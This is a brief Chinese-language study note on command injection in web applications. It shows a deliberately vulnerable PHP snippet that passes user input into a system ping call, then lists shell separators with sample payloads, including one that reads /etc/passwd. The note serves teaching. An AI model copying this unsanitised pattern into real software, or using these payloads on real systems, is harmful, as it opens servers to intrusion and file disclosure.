【复习】代码执行_02_漏洞与利用

命令执行漏洞与利用

在部分WEB应用里，应用程序会提供一些命令执行操作，如没有过滤好用户输入的数据，就有可能产生命令执行漏洞 从而执行有危害系统命令。

<?php 
if($_POST['ip']){
     
	echo system('ping '.$_POST['ip']);
}
?>

命令连接符号总结
command1 && command2 先执行command1后执行command2
127.0.0.1 && id
command1 | command2 只执行command2

command1 & command2
先执行command1后执行command2

127.0.0.1 -c 3 & cat /etc/passwd